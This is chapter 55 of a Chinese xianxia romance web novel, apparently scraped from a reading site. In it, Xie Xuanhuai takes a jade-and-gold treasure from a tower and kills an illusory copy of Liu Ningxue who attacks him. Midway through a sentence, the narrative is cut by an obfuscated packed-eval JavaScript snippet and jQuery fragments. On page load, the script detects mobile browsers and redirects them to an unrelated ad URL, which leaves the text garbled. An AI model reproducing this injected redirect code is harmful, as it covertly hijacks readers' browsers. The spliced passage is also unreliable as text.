55. 误闯

作品:《攻略病娇世子从拯救开始

    塔中没有明灯,所见之处皆是黑漆漆一片,柳凝雪伸手取了张符点燃,火光照亮四周,映两人的脸上,柳凝雪道:“这里也太黑了吧。”


    谢玄淮沉默不语,取出一张符纸往前掷去,符纸如箭带着火光破空而出,所到之处皆被照亮,石彻的通道似乎没有尽头,原本明亮的符纸一点点消失在黑暗之中。


    柳凝雪蹙眉道:“这个塔真是奇怪,在外面看来也没有这么长啊。”


    就在夜晚,他们静悄悄地潜入了两仪堂,有谢玄淮这个术法人才在,这些阵法对他们来说不足为惧。


    等他们进到塔里后,却被一片通黑绊住了手脚,前方未知,潜藏着无数危险,他们也是一步一步,时刻警惕着。


    这只是塔中二楼,他们过来都没遇上什么难搞的阵法,顺利地出乎意料。


    谢玄淮与柳凝雪一同沿着暗黑的通道来到了三楼处,三楼便是藏着玉蝉玉叶的地方。


    两人相视一眼,不用对方说也知要多加小心,他们来到一道紧闭石门处,石门巨大,高至天花板,上面雕刻着繁复难懂的花纹。


    谢玄淮借着符纸的光亮,将五指搭在石门上摸索着,忽听咔塔一声响,门上的机关被他按了下去,石门应声而开,轰隆隆地往两边移去。


    随着石门被打开,原本黑漆漆的室内猛地窜起了灯光,先是门后的两边,接着就是一盏盏的灯台被点燃,依次往里而进。


    待所有的灯台都被点燃后,室内顿时耀眼一片,亮如白昼。


    久置黑暗中,柳凝雪被这些突然亮起的光刺得闭了下眼,抬手挡了下。


    等适应光亮后,她才放下手,打量起石室来,石室里宽敞无比,可这诺大的石室却一点装饰也无,墙面平滑无痕,地面平整无尘。


    唯独石室最中间处建了一个半人高的石台,上面正放着一个用玻璃罩罩起的金蝉玉叶。


    柳凝雪目光一扫,手一指,说道:“是不是那个?”


    谢玄淮顺着她指的方向看去,点了点头,道:“嗯。”


    虽异宝在前,两人也没有轻举妄动,而是肃然细致观察着周围,留心有什么陷阱。


    可等到他们走近石台时,竟也不见一丝一毫的动静。


    “就这么简单?”柳凝雪还是不太敢相信。


    谢玄淮站在石台前,面色冷淡地将玻璃罩破开,取出里面的金蝉玉叶。


    所谓金蝉玉叶,也就是用白玉雕刻成一片叶子的模样,再用金子刻成蝉的模样,最后将金蝉放到玉叶上,便成了金蝉玉叶。


    金蝉玉叶做工精细,除此以外,还蕴含着一股强大的灵力,这与它的材质有着蔓大的关系,玉为昆山玉,金为补天石,再经术法之人多加练制,便成了现在的金蝉玉叶,能治好凡间一切病症及因邪祟而受的伤。


    能治好凡间一切病症,这个柳凝雪是不大相信,但思及这是个修道世界,也不是没可能。


    谢玄淮轻易地就将金蝉玉叶拿起,然而就在他执起的那一刻,石室内忽然出现了地动山摇之状,柳凝雪被带的晃来晃去,好不容易稳住身形,抬头一看,却见谢玄淮身形稳定,拿着手中的金蝉玉叶看得出神。


    他一双眼睛粘在了它丄面,好像移不开目光似的。


    石室内的动静带动了宝塔也一起晃动了,林月明和江若宁塔中,自然也感受到了,林月明脸色微变道:“不好,有人闯进来了。”


    江若宁难得郑重道:“会不会是谢玄淮和柳凝雪他们?”


    林月明道:“有可能。”


    江若宁讶异道:“那他们岂不是拿到金蝉玉叶了?”


    林月明抬头望向三楼的方向,对他说:“走,先过去看看。”


    两仪堂中,栽满梨花的院落内,廊下少年抬目望着宝塔的方向,他神情专注认真,宝塔的晃动当然没能逃过他的眼睛。


    只是他仿若倒映着星光的眼底一片清明,并未将这动作放在眼里。


    一旁有弟子上前,道:“公子,他们都已经进入塔里了。”


    封余休神色淡淡,语气似是不在意,随意一问道:“他们取的是什么?”


    弟子顿了一下,说:“似是金蝉玉叶。”


    金蝉玉叶虽是两仪堂至宝,但也不是最贵重的,越贵重的宝物放置的层数越高,危险也就越多。


    封余休略一低眸,说:“她呢?”


    弟子自然知道他问的是两仪堂堂主云外雪,当即回道:“在正堂。”


    即在正堂,那塔中异动也瞒不过她,封余休垂眸踌躇了一阵,最终还是下定决心往正堂而去。


    拿起金蝉玉叶的那一刻,周围景象迅速变动,石室逐渐模糊,一阵眩晕感从头顶传来,谢玄淮闭上了眼睛,定住心神,再一睁眼,便来到了一个陌生的地方。


    眼前此处翠竹林立,白烟袅袅环绕,一眼望不到尽头。


    谢玄淮将金蝉玉叶收起,望着前方片刻,淡漠的神色变得警惕几分。


    他在竹林里静待了片刻,仔细观察着周边的动静,然而这里出奇的安静,一点声音也无,仿佛进入了什么消音世界。


    幻境是使用最多的阵法,百千年来缕试不爽,但封家的幻阵他却有些看不出,只是把他困在一片竹林吗?


    明显不是。


    思虑间,前面白雾开始飘动起来,谢玄淮站在原地静观着白雾变化,耳畔响起一声声彻骨销魂,娇媚欲滴的“谢公子”。


    “谢公子……”


    “谢公子……”


    谢玄淮闭上双眸,凝神静气,屏去声响异动,让自己不为幻境所惑。


    再一睁眼时,自己便身处在一个中销魂窟中,这里花天酒地,男声女声交织混杂在一起,淫声阵阵,鼻息间全是混杂着酒气的胭脂水粉香的刺鼻味道。


    就连耀眼的烛火也沾染了靡乱的气息。


    即使面对着众人交.欢.淫—乱,谢玄淮冷淡如玉的神色依旧未变,他抬步望楼上走去,现下只有二楼处是干净些的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178257|159711||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了。


    一楼地面简直无从下脚,时不时就有一对男女倒过来,谢玄淮闪身躲过,缓步走向二楼。


    期间不乏有身染杂香,衣着凌乱的女子歪身向他扑去,可还没碰到他的一片衣角就被谢玄淮按头推开了。


    他推人的力道不轻,女子一个踉跄差点崴脚从楼梯上掉了下去,见他面上不掩嫌弃,看都没看自己一眼,女子颇为气愤,指着他骂道:“装什么清高?!男人都是一个样!”


    谢玄淮深知男人本性,也心知自己心性,只是不是对她而已,想着,他眼前又不禁浮现出当日柳凝雪亲他的情景,不知是不是这楼中的迷香所致,他喉口竟泛起了几分涩意,喉结不禁吞咽了一下。


    他身上不可避免地泛起微热来,头脑也开始微微眩晕,他闭上眼让自己定下心来,不去看,屏弃心中杂念。


    等他再一睁眼,周围的淫靡之气退散,出现在他眼前的是一间大红的婚房,正对的墙面上贴着大大的一个双喜,桌子摆满了瓜果,红烛上的火光在静静地晃悠。


    他不解地看着婚房里的布置,竟感到一阵熟悉感,这不就是他和柳凝雪大婚时的婚房吗?


    他眸光一侧,果见床上静静坐着一个穿着艳红喜服的女子,她身上的喜服金线勾勒,暗纹在烛光下若隐若现,她手上执着一面团扇遮住了原本的面容。


    “柳凝雪?”他迟疑地唤了声。


    然而床上的人却迟迟没有传来动静,他眸色微敛,抬脚向婚床走去。


    他步伐放得极轻,不缓不急,似是怕吓到床上的人一般,谢玄淮站到了她面前,她整个人却像木偶般,一动不动。


    或许是迷香的作用,他鬼使神差地伸手将挡住她面容的团容慢慢移开,随着团扇的移开,他呼吸也跟着屏住了,他愣愣地看着眼前人,平静下去的心再次悸动起来。


    眼前人赧然是柳凝雪的样子,那一双眼眸明亮清净,犹如一汪春水,看人时常常含着笑意,他不由地停下动作,时间仿佛在这一刻静止。


    这双眼睛像是刻进了他心里一般,自第一天看到起,他就再也不能忘记了。


    被移开了团扇,女子面上浅浅一笑,然而就在下一刻,一把短剑突然从她袖中刺出,直取谢玄淮颈脉,她迅速极快,又狠又准,饶是如此,还是被谢玄淮精准掐住了手腕,用力之大让她挣脱不得。


    剑尖在谢玄淮白玉般的脖颈上堪堪停下,他面含笑意,指尖轻扶上了她的脸,眼中蕴含的情绪似癫若狂,对她说:“你要杀了我吗?”


    他的语气极致轻柔,仿佛要将人沉溺其中,也就是在这时,扑哧一声忽然响起,女子还未反应过来,自己的脖颈上就插了一把短刃,她瞪大了双目,死死地看着他,似是不敢置信眼前发生的一切,鲜血从她脖颈喷涌而出,打湿了她的嫁衣,沾满了谢玄淮皙白的指尖,他的脸上亦溅上了血珠。


    此时的他与恶鬼无异,他一动不动地望着她,轻声说:“没有东西可以替代她,你也是。”